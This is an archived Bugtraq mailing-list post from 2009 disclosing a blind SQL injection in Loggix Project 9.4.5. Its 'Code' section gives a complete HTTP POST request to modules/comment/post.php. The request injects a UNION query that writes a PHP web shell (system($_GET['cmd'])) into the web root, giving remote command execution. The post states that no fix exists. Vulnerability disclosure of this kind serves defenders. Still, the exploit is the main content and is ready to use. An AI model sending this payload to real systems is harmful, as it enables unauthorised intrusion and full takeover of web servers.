bugtraq - Loggix Project 9.4.5 Blind SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <48317b000904100737v1ab0268ev3edbb4344caaf118@mail.gmail.com>
Date: Fri, 10 Apr 2009 16:37:29 +0200
From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@...il.com>
To: Bugtraq <bugtraq@...urityfocus.com>, str0ke <str0ke@...w0rm.com>
Subject: Loggix Project 9.4.5 Blind SQL Injection

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Loggix Project
[+] Version: 9.4.5
[+] Website: http://loggix.gotdns.org

[+] Bugs: [A] Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@...il.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: modules/comment/post.php

This bug allows a guest to execute arbitrary
queries.


*************************************************

[+] Code


- [A] Blind SQL Injection

POST /path/modules/comment/post.php HTTP/1.1\r\n
Host: site\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 177\r\n
\r\n
title=title&comment=comment&user_name=user&user_pass=password&parent_key=key&refer_id=-1'
UNION ALL SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE
'/var/www/htdocs/rce.php


*************************************************

[+] Fix

No fix.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

View attachment "Loggix Project 9.4.5 Blind SQL Injection-10042009.txt" of type "text/plain" (1274 bytes)